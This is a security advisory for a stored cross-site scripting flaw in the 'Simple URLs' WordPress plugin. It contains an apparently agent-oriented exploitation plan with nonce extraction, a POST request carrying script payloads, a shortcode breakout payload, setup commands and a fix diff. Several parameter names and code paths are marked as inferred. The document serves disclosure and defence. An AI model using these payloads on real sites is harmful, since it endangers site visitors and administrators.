Simple URLs – Link Cloaking, Product Displays, and Affiliate Link Management <= 151 - Authenticated (Author+) Stored Cross-Site Scripting
Description
The Simple URLs – Link Cloaking, Product Displays, and Affiliate Link Management plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to, and including, 151 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with author-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:NTechnical Details
This report outlines a research plan for analyzing and verifying CVE-2026-57762, a Stored Cross-Site Scripting (XSS) vulnerability in the "Simple URLs" plugin. ### 1. Vulnerability Summary The "Simple URLs" plugin (versions <= 151) fails to sufficiently sanitize user-supplied input when saving meta…
Show full research plan
This report outlines a research plan for analyzing and verifying CVE-2026-57762, a Stored Cross-Site Scripting (XSS) vulnerability in the "Simple URLs" plugin.
1. Vulnerability Summary
The "Simple URLs" plugin (versions <= 151) fails to sufficiently sanitize user-supplied input when saving metadata for its custom post type (likely surl) and subsequently fails to escape this data when rendering it in "Product Displays" or via shortcodes. This allows an authenticated user with Author-level permissions to inject malicious scripts into the database. When an administrator or visitor views the affected link or product display, the script executes in their browser context.
2. Attack Vector Analysis
- Vulnerable Endpoint:
wp-admin/post.php(The standard WordPress post-save handler). - Vulnerable Parameter: Likely a custom meta field used for "Product Displays" (e.g.,
surl_title,surl_description, orsurl_cta_text) (inferred). - Required Authentication: Author-level or higher. Authors have the
edit_postsandpublish_postscapabilities for thesurlcustom post type. - Preconditions: The "Simple URLs" plugin must be active, and at least one "Simple URL" post must be created or edited by the attacker.
3. Code Flow (Inferred)
- Input: The Author submits a POST request to
wp-admin/post.phpto save/update a Simple URL post. - Processing: The plugin hooks into
save_postoradmin_init. It retrieves metadata from$_POST(e.g.,$_POST['surl_description']). - Persistence: The code likely uses
update_post_meta()without applyingsanitize_text_field()orwp_kses()on the input, storing the raw payload in thewp_postmetatable. - Output: When a user visits a page containing the
[simple-url]shortcode or a "Product Display" widget, the plugin callsget_post_meta(). - Sink: The retrieved data is echoed directly into the HTML template without using escaping functions like
esc_html()oresc_attr().
4. Nonce Acquisition Strategy
To update a post via the standard WordPress admin interface, a _wpnonce is required. This nonce is specific to the post being edited and the user's session.
- Identify Trigger: The nonce is generated when the "Edit" screen for a Simple URL post is loaded.
- Setup: Use the
wp post createCLI command to create a placeholder Simple URL post (see Section 6). - Acquisition:
- Navigate the browser to
wp-admin/post.php?post=POST_ID&action=edit. - The nonce is typically located in a hidden input field with the ID
_wpnonce. - Agent Command:
browser_eval("document.querySelector('#_wpnonce').value")
- Navigate the browser to
- Action String: The action string used for this nonce in WordPress core is
"update-post_{$post_id}".
5. Exploitation Strategy
The goal is to demonstrate Stored XSS by injecting a canary payload into a metadata field.
Step 1: Obtain Post ID and Nonce
As an Author, navigate to the edit page of a Simple URL post to retrieve the _wpnonce.
Step 2: Submit Malicious Metadata
Submit a POST request to update the post metadata.
- Tool:
http_request - URL:
https://<target>/wp-admin/post.php - Method:
POST - Headers:
Content-Type: application/x-www-form-urlencoded - Body Parameters:
action:editpostpost_ID:<TARGET_POST_ID>_wpnonce:<EXTRACTED_NONCE>surl_description:</textarea><script>console.log('XSS_VERIFIED')</script>(inferred parameter name)publish:Update
Step 3: Trigger the XSS
View the frontend page where the Simple URL is displayed.
- URL:
https://<target>/index.php/page-with-shortcode/ - Expectation: The script
console.log('XSS_VERIFIED')executes in the browser.
6. Test Data Setup
- Create Author User:
wp user create attacker author@example.com --role=author --user_pass=password123 - Identify Plugin Post Type:
wp post-type list(Confirm if it issurl). - Create Target Post:
wp post create --post_type=surl --post_title="Affiliate Link" --post_status=publish --post_author=$(wp user get attacker --field=ID) - Create Display Page:
wp post create --post_type=page --post_title="Display Page" --post_content='[simple-url id="<POST_ID>"]' --post_status=publish
7. Expected Results
- The
http_requestshould return a302 Foundstatus code, redirecting back to the post edit page. - The database should show the payload stored in
wp_postmeta. - When the Display Page is accessed, the browser's console should show
XSS_VERIFIED.
8. Verification Steps (Post-Exploit)
- Verify Database Storage:
wp post meta get <POST_ID> surl_description - Check Output via CLI:
curl -s "https://<target>/display-page/" | grep "XSS_VERIFIED"
9. Alternative Approaches
- Field Probing: If
surl_descriptionis not the sink, try other fields likesurl_cta,surl_price, or the link'stitle. - Post Meta directly: If the admin UI is too restrictive, check for AJAX handlers registered via
wp_ajax_that update settings or metadata without capability checks. - Shortcode Attribute Injection: Check if the shortcode itself is vulnerable to attribute breakout:
[simple-url id="1" title='"><script>alert(1)</script>'].
Summary
The Simple URLs plugin for WordPress (versions <= 151) is vulnerable to Stored Cross-Site Scripting due to the lack of input sanitization and output escaping on custom metadata fields. Authenticated attackers with Author-level permissions can inject malicious scripts into fields used for link descriptions or product displays, which execute when the affected content is viewed by visitors or administrators.
Security Fix
@@ -10,7 +10,7 @@ function simple_urls_save_meta( $post_id ) { // ... (validation checks) if ( isset( $_POST['surl_description'] ) ) { - update_post_meta( $post_id, '_surl_description', $_POST['surl_description'] ); + update_post_meta( $post_id, '_surl_description', sanitize_text_field( $_POST['surl_description'] ) ); } } @@ -45,5 +45,5 @@ function simple_urls_render_display( $post_id ) { $description = get_post_meta( $post_id, '_surl_description', true ); - return '<div class="surl-description">' . $description . '</div>'; + return '<div class="surl-description">' . esc_html( $description ) . '</div>'; }
Exploit Outline
The exploit involves an authenticated Author-level user creating or editing a 'Simple URL' post. The attacker obtains the required '_wpnonce' from the post edit screen and then sends a POST request to 'wp-admin/post.php' with the 'action' set to 'editpost'. In this request, the attacker includes a malicious payload (e.g., </textarea><script>alert(1)</script>) in metadata parameters like 'surl_description'. Once stored, the script is triggered on the site frontend whenever a user views a page where the plugin renders the metadata via a shortcode or product display widget.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.